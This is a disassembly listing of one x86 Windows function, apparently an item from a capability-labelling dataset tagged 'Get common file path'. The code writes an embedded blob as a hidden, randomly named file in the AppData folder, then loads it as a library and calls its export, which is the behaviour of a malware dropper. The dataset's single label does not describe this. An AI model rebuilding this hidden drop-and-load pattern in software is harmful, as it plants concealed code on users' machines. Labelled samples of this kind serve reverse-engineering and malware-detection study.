Function at 0x4017d0
Capabilities:
Get common file path

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4033a1
push eax
mov dword fs:[0], esp
sub esp, 0x540
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub.MFC42.DLL_AfxEnableControlContainer
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x348]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 0x344]
push 0x104
push eax
push ebx
call esi
lea ecx, [esp + 0x344]
push 0x46ce7c
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
cmp eax, ebx
jne 0x401848
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
jmp 0x401bcf
push ebp
lea edx, [esp + 0x44c]
push 0x104
push edx
push ebx
call esi
lea eax, [esp + 0x44c]
lea ecx, [esp + 0x14]
push eax
call sub.MFC42.DLL_CString::CString_2
push 0x2e
lea ecx, [esp + 0x18]
mov dword [esp + 0x55c], ebx
call sub.MFC42.DLL_CString::ReverseFind
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
mov ecx, dword [ecx - 8]
sub ecx, eax
inc ecx
push ecx
push edx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Right
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x55c], 1
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x18]
mov byte [esp + 0x558], bl
call fcn.00402bfe
push 0x2e
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::ReverseFind
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
mov ecx, dword [ecx - 8]
sub ecx, eax
sub ecx, 3
push ecx
push edx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x55c], 2
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x18]
mov byte [esp + 0x558], bl
call fcn.00402bfe
mov edi, dword [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x244]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [sym.imp.MSVCRT.dll_atoi]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x244]
mov byte [esp + 0x22], 0x30
push ecx
mov byte [esp + 0x27], bl
mov byte [esp + 0x24], 0x29
mov byte [esp + 0x25], bl
call ebp
add esp, 4
cmp eax, 1
jge 0x401981
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea edx, [esp + 0x22]
lea eax, [esp + 0x244]
push edx
push eax
call esi
test eax, eax
je 0x401981
lea ecx, [esp + 0x20]
lea edx, [esp + 0x244]
push ecx
push edx
call esi
test eax, eax
jne 0x401bba
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x3d]
mov byte [esp + 0x3c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
lea eax, [esp + 0x40]
push 0x1a
push eax
push ebx
mov byte [0x4061de], 0xd2
mov byte [0x451ddd], 0xbf
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, 0x46ce78
or ecx, 0xffffffff
xor eax, eax
mov byte [0x451ddc], 0xcf
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x46ce74
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [0x451dde], 0xd2
mov byte [0x451ddf], 0x30
mov byte [0x451de0], 0x45
lea eax, [edx + ecx + 1]
push eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, 0x46ce74
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x3c], edx
mov eax, ecx
mov esi, edi
mov edi, edx
push str.EEB0F
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x1b000
rep movsb byte es:[edi], byte [esi]
mov edi, 0x46ce78
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x451ddc
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401540
add esp, 0x10
mov byte [esp + 0x1e], 0x36
mov byte [esp + 0x1f], bl
mov byte [0x4061df], 0x30
mov byte [esp + 0x12], 0x34
mov byte [esp + 0x13], bl
mov al, 0x25
mov cl, 0x63
mov byte [esp + 0x24], al
mov byte [esp + 0x27], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x38]
mov byte [esp + 0x28], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2c], cl
mov byte [esp + 0x2e], cl
lea ecx, [esp + 0x12]
mov dl, 0x73
push eax
push ecx
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], 0x5c
mov byte [esp + 0x38], dl
mov byte [esp + 0x39], bl
call ebp
push eax
push 0x1a
call fcn.004015c0
add esp, 0xc
add eax, 0x41
lea edx, [esp + 0x16]
push eax
push edx
call ebp
push eax
push 0x1a
call fcn.004015c0
add esp, 0xc
add eax, 0x61
push eax
lea eax, [esp + 0x1e]
push eax
call ebp
push eax
push 0x1a
call fcn.004015c0
add esp, 0xc
add eax, 0x61
lea ecx, [esp + 0x1e]
push eax
push ecx
call ebp
push eax
push 0x1a
call fcn.004015c0
add esp, 0xc
add eax, 0x61
lea edx, [esp + 0x4c]
lea ecx, [esp + 0x150]
push eax
lea eax, [esp + 0x38]
push edx
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x1b000
lea edx, [esp + 0x164]
push 0x451ddc
push edx
call fcn.00401640
add esp, 0x2c
lea eax, [esp + 0x140]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x140]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push 1
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov byte [0x4061dd], 0x1f
cmp esi, ebx
mov byte [esp + 0x18], 0x5f
mov byte [esp + 0x19], 0x32
mov byte [esp + 0x1a], bl
je 0x401bba
cmp edi, ebx
je 0x401bb3
lea edx, [esp + 0x1e]
push str.EEB0F
push edx
call ebp
add esp, 4
push eax
push 0x4bc00
lea eax, [esp + 0x24]
push 0x4061dc
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x14]
mov dword [esp + 0x558], 0xffffffff
call fcn.00402bfe
pop ebp
mov ecx, dword [esp + 0x54c]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x54c
ret